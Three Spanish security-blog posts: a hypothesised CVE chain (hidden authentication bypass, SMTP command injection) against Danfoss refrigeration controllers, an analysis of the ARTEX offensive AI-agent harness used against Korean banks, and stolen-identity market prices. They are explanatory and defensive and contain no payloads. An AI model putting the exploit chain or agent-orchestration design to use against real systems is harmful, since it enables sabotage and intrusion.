~#hackplayers

Ciberataque en Francia: subieron a 50 °C los frigoríficos de más de 150 supermercados y obligaron a tirar toneladas de comida

2026-10-13T01:29:34.075+02:00

La madrugada del 11 al 12 de octubre de 2026, varios supermercados franceses sufrieron un sabotaje que convirtió sus instalaciones frigoríficas en fuentes de calor. Según las informaciones publicadas, los atacantes manipularon los sistemas de control, prolongaron los ciclos de deshielo y modificaron las consignas de temperatura hasta alcanzar los 50 °C.

El resultado fue la pérdida de toneladas de alimentos que debían mantenerse refrigerados o congelados. Carne, pescado, lácteos y platos preparados tuvieron que retirarse al romperse la cadena de frío. Intermarché figuró entre las cadenas más afectadas, con alrededor de 150 establecimientos señalados en las primeras informaciones. También se notificaron incidencias en Coopérative U, E.Leclerc y otros operadores.

La conexión técnica más interesante no es una atribución definitiva del incidente, sino una investigación publicada por Claroty Team82 el 9 de agosto de 2026: Freeze the Controller, Defrost the Food. En ella, el investigador Amir Zaltzman documentó cómo varias vulnerabilidades de los controladores Danfoss AK-SM 800A podían encadenarse para saltarse la autenticación, alcanzar ejecución remota de comandos y manipular la configuración del servidor web integrado. Es una hipótesis técnica plausible para investigar lo ocurrido en Francia, pero no existe confirmación pública de que los atacantes utilizaran exactamente esta cadena.

De una interfaz expuesta al control del sistema

El Danfoss AK-SM 800A no es simplemente un termostato conectado a la red. Es un gestor centralizado que supervisa y coordina equipos de refrigeración comerciales. Desde su interfaz web se pueden consultar circuitos, configurar umbrales de temperatura, gestionar alarmas, ajustar horarios y modificar servicios de notificación. Comprometer ese punto de administración puede dar al atacante acceso a funciones con consecuencias físicas y operativas.

Team82 comenzó investigando la exposición de estos controladores en Internet mediante plataformas como Shodan y Censys. Los investigadores identificaron miles de interfaces accesibles públicamente; su publicación muestra una medición de 2.765 dispositivos expuestos en Censys. Esto no significa que todos fueran vulnerables o estuvieran comprometidos, pero sí que existía una superficie de ataque alcanzable sin necesidad de entrar previamente en la red corporativa de un supermercado.

Una vez identificado el equipo, la siguiente fase consistió en analizar el firmware para reconstruir cómo procesaba las peticiones HTTP. El resultado fue una arquitectura más compleja de lo que aparentaba la interfaz: un Nginx externo recibía las peticiones, determinadas rutas .cgi se enviaban a sm_fcgi_app y este componente las reenviaba a un Nginx interno. Finalmente, otra capa del sistema, asociada a sm_app y su tarea Task_Web, procesaba la lógica de la aplicación.

Esta separación importa desde el punto de vista de la seguridad. La validación de una petición, la autenticación y la operación ejecutada pueden residir en componentes distintos. Para encontrar una vulnerabilidad no basta con observar lo que muestra el navegador: hay que seguir la petición desde el punto de entrada hasta la función que realiza realmente la operación.

Primera fase: CVE-2025-41450 y el mecanismo oculto de autenticación

El primer eslabón es CVE-2025-41450, una vulnerabilidad de autenticación impropia que afecta a versiones del AK-SM 8xxA anteriores a la 4.2. Danfoss publicó el aviso correspondiente en marzo de 2025 y recomendó actualizar el firmware.

Team82 centró su análisis en las peticiones dirigidas al endpoint xml.cgi, en particular las relacionadas con la acción getauth. Siguiendo el flujo de ejecución hasta el código que despacha las acciones XML, los investigadores localizaron una ruta alternativa de autenticación que desviaba el proceso normal de comprobación de credenciales.

El hallazgo más relevante fue una función denominada check_code_of_day. Según la investigación, determinados atributos de la petición activaban esta ruta alternativa, que aceptaba un código calculado internamente a partir de la fecha del dispositivo en lugar de comprobar exclusivamente la contraseña administrativa configurada.

Los investigadores reconstruyeron el algoritmo utilizado para generar ese código diario. Por tanto, un atacante que conociera el funcionamiento de la rutina podía reproducir el mecanismo y obtener una sesión administrativa sin conocer la contraseña habitual del equipo.

No se trata simplemente de una contraseña débil ni de un ataque de fuerza bruta. El problema está en la existencia de un mecanismo alternativo que permite evitar el control de acceso previsto. Una función posiblemente concebida para tareas de soporte o mantenimiento se convierte así en una vía de entrada cuando su diseño y sus condiciones de activación no están suficientemente protegidos.

El impacto práctico es considerable: una interfaz que aparentemente exige credenciales puede ofrecer una segunda ruta de autenticación. Si el controlador está expuesto y ejecuta una versión vulnerable, el atacante podría pasar de una petición remota a una sesión con privilegios de administración.

Conviene precisar el alcance: el aviso original de Danfoss destaca que esta vulnerabilidad permite generar informes web con información sensible, como direcciones IP internas, nombres de usuario y nombres de tiendas. Es la investigación de Team82 la que describe el mecanismo oculto y su potencial para obtener una sesión administrativa, que es lo que hace posible enlazarlo con la siguiente vulnerabilidad.

Segunda fase: CVE-2025-41451, de la administración web a la ejecución de comandos

Con la autenticación superada, el atacante ya no estaría limitado a los endpoints accesibles sin iniciar sesión. Tendría a su alcance las funciones administrativas de la aplicación, incluidas las relacionadas con configuración de red, usuarios, mantenimiento y notificaciones por correo.

Team82 examinó precisamente esta última funcionalidad. La página de configuración SMTP fue el punto de partida para seguir una petición que actualizaba los parámetros de correo. Al rastrear el flujo hasta la implementación, los investigadores identificaron un campo correspondiente a la contraseña de autenticación del correo que terminaba incorporado a una orden ejecutada por el sistema operativo.

El problema, documentado como CVE-2025-41451, es que el valor controlado por el usuario se incorporaba al comando sin una neutralización adecuada de los caracteres especiales del intérprete de comandos. En lugar de tratarse siempre como un dato, el contenido podía interpretarse como parte de la propia orden.

Esta es la diferencia esencial entre una configuración vulnerable y una ejecución remota de comandos: si la aplicación construye una orden del sistema mediante concatenación o interpolación de valores externos, y no separa correctamente los datos de las instrucciones, el campo de configuración puede convertirse en un punto de inyección.

En el caso analizado por Team82, la cadena era:

El atacante alcanzaba la interfaz de administración.
Utilizaba la ruta de autenticación alternativa para obtener una sesión administrativa.
Accedía a la configuración de correo y enviaba un valor manipulado en el campo vulnerable.
La aplicación incorporaba ese valor a una orden del sistema operativo.
El sistema interpretaba el contenido inyectado como instrucciones adicionales, haciendo posible la ejecución remota de comandos.

No hace falta que el atacante encuentre una vulnerabilidad independiente en SSH ni que instale primero un implante en el sistema operativo. La propia aplicación web constituye el puente entre una sesión administrativa y la ejecución de comandos.

Danfoss describe CVE-2025-41451 como una inyección de comandos en campos de configuración de alarmas por correo que puede conducir a ejecución remota de código después de autenticarse. La vulnerabilidad afecta a versiones anteriores a la 4.3.1 y fue corregida en esa versión. Aunque la investigación de Team82 muestra cómo puede encadenarse con el bypass de autenticación, la ejecución de comandos y el acceso posterior dependen de las condiciones concretas del dispositivo y de su versión de firmware.

Tercera fase: qué permitiría hacer el acceso al controlador

Llegados a este punto, la hipótesis deja de depender de un fallo aislado de autenticación. La combinación de acceso administrativo y ejecución de comandos convierte al controlador en un activo comprometido desde el que un atacante podría investigar los procesos, configuraciones y servicios disponibles en el dispositivo.

Pero hay una distinción fundamental: obtener ejecución de comandos no demuestra, por sí solo, que se pueda fijar una temperatura concreta ni que todos los circuitos de refrigeración estén directamente controlados desde el mismo proceso. Para pasar de la ejecución en el sistema operativo a la manipulación efectiva del frío habría que conocer la arquitectura de control de cada instalación, los permisos del proceso comprometido y la comunicación entre el AK-SM y los equipos de campo.

La investigación de Team82 demuestra las vulnerabilidades de la interfaz web y la posibilidad de ejecutar comandos; no documenta que un atacante haya utilizado esta cadena para programar consignas de 50 °C en los supermercados franceses. Esa parte debe mantenerse como hipótesis.

Si el acceso comprometido permite modificar parámetros operativos, horarios o la configuración que gobierna los equipos de frío, las consecuencias podrían ser graves. Una alteración de las consignas, la activación de ciclos de deshielo fuera de su programación o la modificación de los mecanismos de supervisión podría provocar que las cámaras y vitrinas dejaran de mantener las condiciones adecuadas para conservar los alimentos. El efecto final dependería de la configuración real, de las protecciones independientes y de la intervención del personal.

El impacto tampoco tiene por qué limitarse a la temperatura. Un atacante podría intentar interferir con la visibilidad que tiene el operador sobre el sistema, dificultar la gestión remota o alterar la configuración de los servicios que notifican incidencias. Para demostrar que eso sucedió durante el incidente francés habría que examinar registros del controlador, cambios de configuración, telemetría de temperatura, alarmas y evidencias recogidas en los sistemas de supervisión.

CVE-2025-41452: manipular Nginx y provocar una caída de la interfaz

Team82 descubrió una tercera vulnerabilidad, CVE-2025-41452, que afecta a la configuración del servidor web integrado. La aplicación permitía reemplazar el archivo headers.conf y recargar la instancia externa de Nginx sin reiniciar el dispositivo. La función estaba expuesta mediante la acción load_nginx_headers, que aceptaba una carga de archivo autenticada.

Según los investigadores, un usuario autenticado podía introducir directivas arbitrarias de enrutamiento en esa configuración. Durante las pruebas, determinadas rutas manipuladas provocaban una excepción no gestionada en el proceso sm_app, haciendo caer el servicio web y permitiendo generar una condición de denegación de servicio.

Esta vulnerabilidad no es el mismo fallo que permite ejecutar comandos mediante la configuración SMTP. Tampoco constituye, por sí sola, una prueba de que un atacante pueda alterar la temperatura. Su importancia reside en que amplía las posibilidades de interferir con la interfaz de administración y con el acceso de los operadores al sistema.

En una instalación de refrigeración, perder la interfaz web puede complicar la supervisión y la respuesta ante una incidencia, aunque no implica necesariamente que los circuitos de frío dejen de funcionar: el comportamiento dependerá de cómo estén diseñados los controles locales y de qué funciones sigan operativas sin la aplicación de gestión.

La cadena de ataque, reconstruida como hipótesis

A partir de los hallazgos de Team82, el escenario técnico que conviene investigar en el incidente francés puede resumirse así:

Exposición a Internet → identificación de un AK-SM vulnerable → bypass de autenticación mediante code-of-the-day (CVE-2025-41450) → acceso administrativo → inyección de comandos en la configuración SMTP (CVE-2025-41451) → ejecución remota de comandos → posible manipulación de la operación de refrigeración.

La secuencia es técnicamente coherente con las vulnerabilidades documentadas. Sin embargo, el último tramo requiere pruebas específicas: habría que demostrar qué proceso o interfaz controla las consignas, qué cambios se aplicaron y si estos coinciden temporalmente con las alteraciones de temperatura notificadas.

La CVE-2025-41452 añade una posible vía para alterar o interrumpir la interfaz web, pero no es necesario incluirla en la cadena principal para explicar el paso de autenticación a ejecución de comandos. El encadenamiento de las dos primeras vulnerabilidades es el elemento central de la investigación de Claroty.

Qué evidencias confirmarían —o descartarían— esta hipótesis

Para atribuir el ataque a esta cadena no bastaría con encontrar un AK-SM comprometido. La investigación forense debería correlacionar varias fuentes:

Firmware y exposición: modelo exacto, versión instalada durante el incidente y accesibilidad de la interfaz de administración desde Internet.
Registros de autenticación: peticiones a xml.cgi, acciones getauth y evidencias de uso de la ruta de autenticación alternativa.
Cambios SMTP: modificaciones inesperadas en los campos de configuración del correo y marcas temporales asociadas.
Ejecución en el sistema: registros de procesos, órdenes anómalas, cambios en archivos y otros indicadores de ejecución no autorizada.
Configuración de Nginx: modificaciones de headers.conf, recargas inesperadas y errores o caídas de sm_app.
Telemetría industrial: cambios de consignas, ciclos de deshielo, evolución de temperaturas, alarmas y comunicaciones con los controladores de campo.
Correlación entre establecimientos: patrones temporales, infraestructura de origen, cuentas utilizadas y artefactos repetidos en distintos equipos.

La correlación de esas evidencias permitiría determinar si se explotó el mismo mecanismo en varios establecimientos, si hubo una campaña coordinada o si se utilizaron otras credenciales o vulnerabilidades. Sin ellas, atribuir el incidente a CVE-2025-41450 y CVE-2025-41451 sería prematuro.

Mitigación: cerrar la puerta de entrada y recuperar el control

Danfoss publicó correcciones para estas vulnerabilidades y recomienda actualizar los controladores AK-SM 800A a la versión R4.3.1 o posterior. Además, Team82 aconseja no exponer directamente las interfaces de gestión a Internet y limitar el acceso administrativo a redes de confianza o a conexiones protegidas mediante VPN.

El CERT-FR, tras advertir de numerosos compromisos de equipos Danfoss AK-SM y AK-SC, recomienda filtrar las conexiones para permitir únicamente accesos autorizados de los proveedores, restaurar los equipos a valores de fábrica cuando se sospeche una intrusión, aplicar los parches disponibles, rotar los secretos, revisar las cuentas existentes y reconfigurar los dispositivos.

En un incidente real, actualizar no debería ser la única medida. Antes de restaurar el sistema conviene preservar los registros y evidencias disponibles; después, verificar que la configuración operativa es legítima, comprobar la integridad de los equipos y validar físicamente las temperaturas y alarmas con el personal responsable. La prioridad es recuperar un estado seguro y comprobar que el sistema vuelve a operar correctamente.

El problema no es solo una vulnerabilidad

La investigación de Team82 ilustra un riesgo característico de los entornos industriales conectados: una interfaz web concebida para facilitar el mantenimiento remoto puede convertirse en una puerta de entrada directa a un sistema que gobierna procesos físicos. Un fallo de autenticación y una inyección de comandos, dos problemas de software aparentemente convencionales, adquieren otra dimensión cuando afectan a la infraestructura de refrigeración de una cadena comercial.

Si la cadena descrita por Claroty fuera el vector empleado en Francia, no estaríamos ante un simple incidente de página web ni ante un robo de credenciales. Estaríamos ante la posible utilización de un controlador de refrigeración como punto de entrada para alterar un proceso operativo del que depende la conservación de alimentos.

Pero la conclusión forense debe seguir abierta: las vulnerabilidades de Danfoss y la cadena de explotación están documentadas; su utilización concreta en el ataque a los supermercados franceses todavía necesita confirmación técnica pública.

Fuentes técnicas

ARTEX y el salto de los agentes ofensivos: cuando el harness importa mas que el modelo

2026-10-09T18:40:52.710+02:00

Durante años, la conversación sobre IA ofensiva se concentró en una pregunta casi infantil: "qué modelo sabe más hacking". La campaña observada contra entidades financieras de Corea del Sur a finales de septiembre y comienzos de octubre de 2026 obliga a cambiar esa pregunta. El punto central ya no es si un LLM puede sugerir un payload, reconocer un stack o improvisar una cadena de ataque. El punto central es que ahora existen harnesses capaces de convertir esa capacidad parcial en una operación continua, persistente y distribuida.

ARTEX es un buen ejemplo de ese salto. No es simplemente un chatbot con acceso a Bash. Es una plataforma de ejecución para agentes ofensivos: backend en Go, frontend Next.js, PostgreSQL, proxy de tráfico, transcripts persistentes, workers concurrentes, graph storage, MCPs, skills y un SDK de agentes llamado norma que resuelve el bucle completo de reasoning, tool use, control de contexto y continuidad.

La campaña contra bancos coreanos es importante precisamente porque muestra que el riesgo no vive solo en el modelo, sino en la infraestructura que lo rodea. CrowdStrike describió una actividad activa entre finales de septiembre y principios de octubre de 2026 contra organizaciones financieras surcoreanas, con exfiltración de datos y uso de ARTEX junto a LLMs. El actor dejó expuestos directorios con historiales de Claude Code, ficheros de configuración de ARTEX y memoria de Claude, lo que permitió reconstruir buena parte de su operativa. La investigación apunta a una arquitectura de dos servidores: uno principal controlado por el actor y otro que alojaba la instancia de ARTEX, con DeepSeek v4.1-flash como backend principal y GLM-5.3 y Grok 4.6 como modelos auxiliares. CrowdStrike no atribuye la operacion a un actor concreto, aunque la considera compatible con un actor de habla china y motivacion financiera.

Lo relevante es que ARTEX no se limita a "preguntar cosas" a un modelo. En el código, el agente se construye sobre norma, un harness genérico que expone una sesión stateful. Esa sesion recibe provider, system prompt, tools, permisos, hooks, transcript y compaction, y después entrega la ejecución a un loop de harness.Query. El loop normaliza eventos, mantiene la conversación, ejecuta herramientas, devuelve tool_result, recupera de errores de contexto, reintenta, comprime, reanuda sesiones y decide cuando el agente ha terminado.

Ese detalle es esencial. En una arquitectura tradicional, un LLM solo produce texto. En ARTEX, el LLM está enchufado a una máquina de estados operativa. Puede leer assets, reclamar intents, ejecutar herramientas, registrar facts, guardar findings, consultar trafico capturado, abrir shells, usar MCPs, reanudar transcripts y colaborar con otros agentes. El modelo ya no es una interfaz de consulta; es un componente dentro de un sistema de ejecución persistente.

La arquitectura multiagente de ARTEX tampoco es decorativa. Cada tarea arranca un planner y varios workers. El planner no ejecuta directamente la explotación; observa el estado global, decide si el objetivo está cumplido y genera nuevas intenciones de trabajo. Los workers reclaman una sola intención cada uno, la ejecutan y escriben de vuelta en dos grafos: un asset graph global y un exploration graph por tarea. Ese esquema convierte la exploración ofensiva en una cola de trabajo con memoria estructurada.

El planner dispone de una vista resumida del mundo: goals, facts, findings, coverage, intents abiertos, intents agotados y assets. Los workers, por su parte, operan sobre una única intención y devuelven hechos concretos. Cuando un worker descubre algo, ese hallazgo despierta al planner, que puede abrir nuevas líneas de trabajo o cerrar objetivos. Es, en esencia, una mini-organización ofensiva automatizada.

La peligrosidad no está solo en la concurrencia, sino en la persistencia. ARTEX conserva transcripts por agente e intent. Un worker que se pausa o se bloquea puede reanudarse más tarde en el mismo punto. El planner puede conservar todolists entre "despertares" o reanudaciones. El sistema también implementa compactación de contexto y digests del grafo para no perder continuidad cuando la ventana del modelo se agota. Eso significa que una operacion de larga duración no depende de una sola llamada al modelo: puede sobrevivir horas, días y reinicios.

Otro aspecto delicado es la superficie de herramientas. El harness de norma expone Bash, lectura y escritura de ficheros, tareas de background, web fetch, web search, tools diferidas, memory, skills y MCPs. ARTEX añade encima sus propias tools de dominio: add_intent, record_fact, report_finding, list_assets, graph_overview, traffic_search, traffic_get, traffic_blob, kill_work, steer_work y muchas más. En la práctica, el modelo no solo razona: también opera, consulta, persiste y coordina.

Hay un detalle especialmente inquietante en el código: planner y worker se lanzan con permission ModeBypass. Es decir, el harness dispone de una capa de permisos, pero ARTEX configura sus agentes principales para saltarsela y delega el control real en reglas de interceptación, constraints y el entorno de despliegue. En un laboratorio eso puede ser razonable. En manos ofensivas, reduce mucho la friccion entre decision y accion.

La lección de la campana coreana es que estos harnesses no convierten un modelo mediocre en un mago, pero si convierten pequeñas capacidades en una cadena operativa coherente. Un LLM que por separado solo sugeriría comandos pasa a formar parte de un sistema que:

divide objetivos
distribuye trabajo
conserva memoria
reanuda sesiones
ejecuta tools
registra evidencia
correlaciona trafico
cambia de modelo si uno falla
y mantiene una operacion viva aunque ningún turno individual sea brillante

Por eso el riesgo real de los harnesses de IA no es que "la IA hackee sola". Es algo más mundano y mas preocupante: reducen el coste de coordinación. Automatizan las partes aburridas que antes frenaban a operadores poco disciplinados: seguimiento de estado, repetición de intentos, gestion de contexto, correlacion de evidencias, ejecución paralela y persistencia de notas. Lo que antes exigía un equipo humano coordinado puede empezar a parecerse a una cola de jobs con agentes especializados.

También introducen nuevos problemas defensivos. Un entorno así genera trazas distintas de las de un operador manual: patrones de consulta repetitiva, ejecución iterativa contra el mismo objetivo, llamadas a APIs LLM, tráfico a proxies, transcripts, uso de MCPs y una mezcla de automatización y actividad manual dificil de separar. Para un blue team, detectar un harness agéntico requiere mirar no solo IOC clasicos, sino tambien ritmos operativos, secuencias de herramientas, patrones de prompts, persistencia de sesiones y artefactos como memory files o logs de agentes.

ARTEX no es peligroso porque tenga un modelo concreto. De hecho, soporta Anthropic, OpenAI Chat Completions, OpenAI Responses y endpoints compatibles. Es peligroso porque abstrae el modelo y convierte la inteligencia en una pieza intercambiable dentro de una plataforma. Si mañana cambia DeepSeek por GPT, Claude, Grok o un endpoint privado, la arquitectura sigue funcionando igual.

Ese es el verdadero cambio de paradigma. Los modelos van y vienen; los harnesses permanecen. Y cuando un harness incorpora herramientas, memoria, concurrencia, grafo, proxies, transcripts, skills y reanudación, deja de ser una demo de IA y se convierte en infraestructura operativa.

La campaña contra bancos coreanos no debería leerse sólo como "un actor uso ARTEX". Debería leerse como una advertencia más amplia: el futuro de la ofensiva asistida por IA no sera un único modelo supercapaz, sino sistemas modulares que conectan modelos normales con buenas herramientas, buen estado y buena orquestación. Y eso, para defensa, es bastante más difícil de frenar.

Referencias

[^1]: CrowdStrike Intelligence, "Unknown Threat Actor Uses AI-Driven ARTEX to Target South Korean Finance", 7 de octubre de 2026. Fuente
[^2]: Yonhap News Agency, "Chinese-speaking hacker possibly linked to AI-driven attacks on S. Korean banks: report", 8 de octubre de 2026. Fuente
[^3]: Fork analizado: Hinln/ARTEX, repositorio público basado en Autumn-27/ARTEX v0.3.15. Código fuente

¿Cuánto vales para un ciberdelincuente? Anatomía económica de una identidad robada

2026-10-08T01:21:41.154+02:00

Hay una pregunta que probablemente nunca nos hemos hecho cuando introducimos nuestros datos en una web, rellenamos un formulario, enviamos una fotografía del DNI o pagamos con tarjeta: ¿Cuánto valen esos datos una vez dejan de pertenecernos? La respuesta resulta bastante menos espectacular de lo que suele imaginarse.

Un número de tarjeta puede costar unos pocos euros. Una dirección de correo electrónico puede valer céntimos. Un paquete completo de identidad puede encontrarse por decenas de euros. Y determinados documentos de identidad, cuentas verificadas o accesos financieros pueden alcanzar cientos o incluso miles. La paradoja es que nuestros datos no tienen un precio fijo. Tienen un precio en función de lo que permiten hacer con ellos. Y ahí es donde empieza la verdadera historia.

Durante años hemos hablado de la dark web como si fuese una especie de bazar clandestino donde un delincuente entra, busca una tarjeta robada y paga por ella. La realidad es bastante más industrial.

Europol describía en su IOCTA 2025 una economía en la que los datos se han convertido en una auténtica mercancía: se roban, clasifican, enriquecen, venden, revenden y finalmente utilizan como materia prima para otros delitos. El dato robado es sólo el primer eslabón.

El precio de una persona

Imaginemos que alguien consigue una base de datos con información sobre nosotros.

El primer nivel puede ser algo tan sencillo como:

Nombre
Apellidos
Fecha de nacimiento
Dirección
Teléfono
Email

No parece gran cosa. Y, económicamente, tampoco lo es.

La abundancia ha convertido determinados datos personales en una commodity. Un correo electrónico o un teléfono aparecen tantas veces en filtraciones, bases de datos comerciales y recopilaciones que su precio individual puede caer prácticamente a cero. Pero entonces alguien añade una pieza. Por ejemplo:

Nombre
Fecha de nacimiento
Dirección
DNI

Y después otra:

Nombre
Fecha de nacimiento
Dirección
DNI
Selfie

Y después:

Nombre
Fecha de nacimiento
Dirección
DNI
Selfie
Cuenta bancaria

Lo que inicialmente era un conjunto de datos dispersos comienza a parecerse a una persona digital completa.

En el underground existe desde hace años el concepto de fullz: conjuntos de información suficientemente completos como para representar una identidad y permitir diferentes tipos de fraude.

Y aquí aparece una de las primeras reglas de este mercado: cuantos más sistemas pueda atravesar una identidad, más valor tiene. Es decir, un email permite poco, un email con contraseña permite más, un documento de identidad permite también más, un documento acompañado de una fotografía del titular permite todavía más y una identidad que además puede superar procesos de verificación KYC puede convertirse en algo mucho más valioso.

El precio no está en el dato. Está en la posibilidad de explotarlo.

Esta diferencia explica por qué las cifras que encontramos al estudiar estos mercados pueden parecer absurdas.

Un estudio reciente de Flare, basado en 348 puntos de precio procedentes de mercados clandestinos, investigaciones académicas y publicaciones de seguridad, estimó valores muy diferentes según el tipo de información.

Los números son reveladores: datos de salud aparecían alrededor de los 300 dólares, PIN bancarios alrededor de 196 dólares, números de cuenta bancaria alrededor de 69 dólares, permisos de conducir alrededor de 68 dólares, números de pasaporte unos 33 dólares y números de tarjeta alrededor de 18 dólares.

La tarjeta de crédito, ese elemento que normalmente imaginamos como el gran tesoro de una filtración, ocupa en realidad una posición bastante más modesta. ¿Por qué? Porque una tarjeta tiene una característica que reduce drásticamente su vida útil: puede ser cancelada.

Es decir, una vez el banco detecta el fraude y bloquea la tarjeta, el número deja de tener prácticamente valor. Un documento de identidad es diferente. Una identidad puede utilizarse para solicitar servicios, abrir cuentas, superar procesos de identificación o combinarse con otras piezas de información. Por eso el mercado no está valorando simplemente "datos", está valorando persistencia + utilidad + capacidad de monetización.

Una tarjeta de crédito puede costar menos que una entrada de cine

Los estudios sobre mercados de tarjetas muestran precisamente esa contradicción.

Una investigación de Comparitech encontró valores medios de alrededor de 17 dólares para los datos básicos de una tarjeta —número, CVV, caducidad, nombre y código postal—, mientras que las tarjetas físicas clonadas podían alcanzar valores muy superiores.

Más recientemente, una investigación de NordVPN sobre más de 50.000 registros publicados durante 2025 situó el precio medio mundial de una tarjeta robada alrededor de 7 euros, aunque con enormes diferencias geográficas. En ese estudio, las tarjetas españolas alcanzaban aproximadamente 10 euros de media, mientras que las japonesas rondaban los 20 euros.

Es una cifra casi ridícula si pensamos en lo que puede llegar a perder el titular y precisamente ahí está el negocio: el atacante no necesita que cada tarjeta produzca miles de euros, necesita que una fracción de miles o millones de tarjetas resulte rentable. Es economía de escala.

El problema de las tarjetas no es sólo la tarjeta

Además, una tarjeta rara vez aparece completamente aislada. Los investigadores de Rapid7 observaron que buena parte de los registros de tarjetas encontrados en determinados mercados incluían también información adicional, como direcciones de correo electrónico o números de teléfono. En algunos mercados, esa información complementaria aparecía asociada a prácticamente todos los registros analizados. Y esto cambia completamente el escenario.

Una tarjeta:

4111 1111 ....

es un dato financiero.

Una tarjeta asociada a:

Nombre
Dirección
Email
Teléfono

es también una pieza de identidad.

Y una identidad puede ser utilizada para otros ataques.

Por eso una filtración de tarjetas no debe interpretarse únicamente como un problema de fraude con tarjeta, puede convertirse en un problema de suplantación, phishing dirigido, account takeover y fraude de identidad.

Entonces, ¿cuánto cuesta una identidad completa?

Aquí las cifras comienzan a subir. Un análisis académico de mercados de fullz encontró precios desde cantidades prácticamente insignificantes hasta más de 200 dólares por identidad, con una media de aproximadamente 23,94 dólares en la muestra estudiada. Pero las cifras históricas tienen que interpretarse con cuidado: el mercado ha cambiado, la industrialización del fraude ha creado productos mucho más elaborados.

Hoy no se comercializa necesariamente "un DNI". Se comercializa una identidad preparada para superar un determinado proceso, y eso es bastante diferente.

Una investigación publicada en 2025 encontró, por ejemplo, paquetes de identidad británicos que incluían documento, selfie y datos personales por cantidades inferiores a 30 libras, mientras que determinados productos de identidad y documentos de mayor calidad podían alcanzar miles de libras.

El precio depende de algo fundamental: ¿qué nivel de confianza puede comprar el atacante con esa identidad?

El verdadero lujo: una identidad que parece real

Aquí aparece una de las partes más interesantes del mercado.

Supongamos dos registros:

IDENTIDAD A

Nombre
Dirección
Fecha de nacimiento

IDENTIDAD B

Nombre
Dirección
Fecha de nacimiento
Documento
Selfie
Teléfono
Email
Cuenta financiera
Historial consistente

Ambas representan aparentemente a la misma persona, pero desde el punto de vista del atacante no valen lo mismo. La segunda tiene algo mucho más importante que información: coherencia. Nombre, dirección, documento, fotografía y teléfono encajan. Cuantas más piezas puedan verificarse entre sí, más posibilidades existen de utilizar la identidad en sistemas automatizados de verificación. Es la razón por la que los procesos KYC se han convertido también en un objetivo.

El delincuente no quiere únicamente "saber quién eres". Quiere poder hacerse pasar por ti ante una máquina.

Y entonces aparece el salto de precio

Los documentos de identidad constituyen otro mercado completamente diferente.

La investigación de NordVPN encontró que las copias de pasaportes podían aparecer desde aproximadamente 10 dólares, mientras que determinados pasaportes europeos verificados podían alcanzar varios miles de dólares.

Otro estudio sobre mercados clandestinos observó que los pasaportes se encontraban entre los productos de identidad de mayor precio, llegando en su conjunto hasta varios miles de dólares en determinados periodos y mercados. Los paquetes Fullz ID, por su parte, llegaron a situarse alrededor de los 100 dólares en la muestra analizada.

La diferencia parece desproporcionada, pero vuelve a existir la misma explicación: no se está comprando el documento, se está comprando lo que el documento permite conseguir.

El mercado funciona como una cadena de suministro

Aquí es donde la imagen tradicional de "un hacker robando una tarjeta" empieza a quedarse pequeña.

Imaginemos una cadena:

                    DATOS
                      │
                      ▼
              ┌──────────────┐
              │   Ladrón     │
              └──────┬───────┘
                     │
                     ▼
              ┌──────────────┐
              │  Data broker │
              └──────┬───────┘
                     │
             ┌───────┴────────┐
             ▼                ▼
        Credenciales       Identidad
             │                │
             ▼                ▼
       Access Broker      Fraudster
             │                │
             └───────┬────────┘
                     ▼
                  FRAUDE
                     │
                     ▼
                  DINERO

El actor que roba los datos no tiene por qué ser el mismo que los utiliza. De hecho, cada vez resulta menos necesario que lo sea.

Fortinet describía en su informe de 2025 cómo los Initial Access Brokers venden accesos ya comprometidos y cómo credenciales VPN, RDP, paneles administrativos y otros accesos corporativos forman parte de una auténtica cadena de suministro criminal.

Esto es importante porque introduce un concepto que normalmente asociamos con empresas legítimas: especialización. Uno roba, otro valida, otro clasifica, otro vende, otro compra, otro monetiza y otro mueve el dinero.

La tarjeta es sólo el principio

Podemos representar el valor de una identidad como una pirámide. En la base tenemos los datos baratos y abundantes:

Email
Teléfono
Nombre
Dirección

Después:

Credenciales
Cookies
Documentos
Tarjetas

Más arriba:

Identidad completa
Selfie + documento
Cuenta financiera
Cuenta verificada

Y en otro nivel:

Acceso corporativo
Cuenta privilegiada
Infraestructura comprometida

En este último caso ya ni siquiera estamos hablando de cuánto vale una persona, estamos hablando de cuánto vale el acceso que esa persona proporciona. Y aquí el precio puede cambiar radicalmente.

El informe de Fortinet señalaba que durante 2024 los accesos corporativos ofrecidos por Initial Access Brokers incluían especialmente credenciales VPN, RDP, paneles administrativos y webshells. Una contraseña no vale mucho pero una contraseña que abre la puerta de una empresa puede valer muchísimo.

El dato más caro puede ser el que menos sospechamos

Hay otro resultado que rompe bastante con la narrativa habitual. Los datos de tarjetas reciben una enorme atención porque son fáciles de entender: "Han robado tu tarjeta."

Pero en la economía underground existen datos mucho más persistentes. Un número de tarjeta puede ser cancelado, un PIN puede cambiarse, una contraseña puede resetearse... pero determinados datos biométricos, documentos o información médica no pueden sustituirse con la misma facilidad.

Precisamente por eso el análisis de Flare sitúa los datos sanitarios por encima de los datos financieros en su valoración media. No porque sean necesariamente más fáciles de monetizar inmediatamente, sino porque son más difíciles de revocar. Y en economía criminal, la permanencia también tiene un precio.

¿Cuánto valdríamos entonces?

Si quisiéramos construir una especie de "valoración" de una identidad digital, podríamos imaginar algo parecido a esto:

                 IDENTIDAD
                     │
          ┌──────────┴──────────┐
          │                     │
       Identidad             Accesos
          │                     │
    ┌─────┴─────┐        ┌──────┴──────┐
    │           │        │             │
   PII      Documentos  Email       Financiero
    │           │        │             │
    ▼           ▼        ▼             ▼
   €€          €€€       €€           €€€
                     \      /
                      \    /
                       ▼  ▼
                    MONETIZACIÓN
                        │
                        ▼
                       $$$

Pero existe una conclusión mucho más interesante: no existe un precio para tu identidad. Existe un precio para cada una de las cosas que alguien puede hacer con ella.

Tu nombre puede valer casi nada.
Tu email, unos céntimos.
Tu tarjeta, unos pocos euros.
Un paquete de identidad, decenas de euros.
Un documento de identidad convincente, cientos.
Una identidad verificada y utilizable en determinados contextos, mucho más.
Y un acceso privilegiado a una organización puede estar en otra liga completamente distinta.

El verdadero negocio es la combinación

Esta es probablemente la conclusión más importante. La economía underground no funciona sumando:

DNI + tarjeta + email = X €

Funciona multiplicando posibilidades:

DNI
 +
Selfie
 +
Teléfono
 +
Email
 +
Cuenta bancaria
 +
Historial consistente
        │
        ▼
Más posibilidades de fraude
        │
        ▼
Mayor demanda
        │
        ▼
Mayor valor

Por eso las filtraciones modernas son tan peligrosas. No necesitamos que alguien consiga "el dato secreto", necesitamos preocuparnos por la correlación de datos.

